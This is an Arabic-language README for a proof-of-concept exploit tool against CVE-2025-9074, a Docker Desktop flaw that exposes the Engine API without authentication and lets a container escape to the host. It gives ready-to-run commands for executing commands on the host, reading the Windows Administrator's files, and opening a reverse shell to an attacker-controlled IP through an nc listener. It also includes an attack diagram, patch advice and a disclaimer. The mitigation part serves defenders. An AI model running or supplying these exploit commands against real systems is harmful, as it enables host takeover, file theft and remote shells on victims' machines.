CVE-2025-9074: إثبات المفهوم للهروب من حاوية Docker Desktop

إثبات المفهوم لثغرة CVE-2025-9074 - ثغرة حرجة للهروب من الحاوية في Docker Desktop تسمح بالوصول غير الموثّق إلى واجهة Docker Engine API.

نظرة عامة على الثغرة

التفاصيل الفنية

تسمح الثغرة للحاويات التي تعمل على Docker Desktop بالوصول إلى واجهة Docker Engine API على http://192.168.65.7:2375 بدون مصادقة. يحدث هذا بغض النظر عن:

• إعدادات العزل المحسّن للحاويات (ECI)
• تكوين "كشف الخادم الخفي على tcp://localhost:2375 بدون TLS"
• أي إعدادات أمان أخرى

التأثير

• Windows (مع WSL): سيطرة كاملة على النظام المضيف بامتيازات إدارية
• macOS: التلاعب بالحاويات واحتمالية زرع باب خلفي (محدود بمطالبات المستخدم)
• Linux: غير معرض (لأنه يستخدم مقبس Unix بدلاً من TCP)

السبب الجذري

تم كشف واجهة Docker Engine API على مقبس TCP يمكن الوصول إليه من داخل الحاويات، مما يسمح بـ:

• إنشاء/حذف الحاويات
• ربط أنظمة ملفات المضيف
• تنفيذ أوامر بامتيازات
• تجاوز تام لعزل الحاويات

الاستخدام

المتطلبات الأساسية

pip3 install requests

وضع تنفيذ الأوامر

# تنفيذ أمر على المضيف
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "whoami"

# قراءة الملفات من مضيف Windows
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "cat /hostfs/mnt/c/Users/Administrator/Desktop/root.txt"

# سرد المستخدمين على Windows
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "ls -la /hostfs/mnt/c/Users"

وضع شل عكسي

# الطرفية 1: إعداد المستمع
nc -lvnp 4444

# الطرفية 2: تشغيل الأداة
python3 exploit.py -u http://192.168.65.7:2375 -m reverse -l <عنوان_IP_الخاص_بك> -p 4444

# بعد الاتصال، نظام ملفات المضيف موجود في: /hostfs

من داخل حاوية

# إذا كان لديك بالفعل وصول إلى حاوية
curl http://192.168.65.7:2375/version

سيناريو الهجوم

graph TD
    A[حاوية خبيثة] -->|بدون مصادقة| B[واجهة Docker Engine API<br/>192.168.65.7:2375]
    B -->|إنشاء حاوية| C[حاوية بامتيازات]
    C -->|ربط نظام ملفات المضيف| D[وصول كامل للمضيف]
    D -->|قراءة/كتابة| E[اختراق النظام]

التخفيف

الإجراء الفوري المطلوب

قم بتحديث Docker Desktop إلى الإصدار 4.44.3 أو أحدث فوراً.

# تحقق من إصدار Docker Desktop لديك
docker --version

# تحديث Docker Desktop
# Windows: التحميل من https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe
# macOS: التحميل من https://desktop.docker.com/mac/main/amd64/Docker.dmg

الحلول البديلة (مؤقتة)

إذا لم يكن التحديث الفوري ممكناً:

1. تجنب تشغيل الحاويات غير الموثوقة
2. مراقبة اتصالات الشبكة من الحاويات
3. تنفيذ تجزئة الشبكة
4. مراجعة جميع صور الحاويات قبل النشر

المراجع

• تنبيه أمان Docker
• NVD CVE-2025-9074
• مدونة Felix Boulet
• تحليل Philippe Dugré
• إشعار GitHub

إخلاء المسؤولية

تم توفير هذه الأداة لأغراض تعليمية واختبارات أمنية مرخصة فقط.

• استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها
• الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني
• لا يتحمل المؤلفون أي مسؤولية عن سوء استخدام هذه البرمجيات

الإشادات

• اكتشاف الثغرة: Felix Boulet، Philippe Dugré
• تطوير إثبات المفهوم: Amanja Francisco
• فريق أمان Docker: للاستجابة السريعة والتصحيح

الترخيص

رخصة MIT - انظر ملف LICENSE للتفاصيل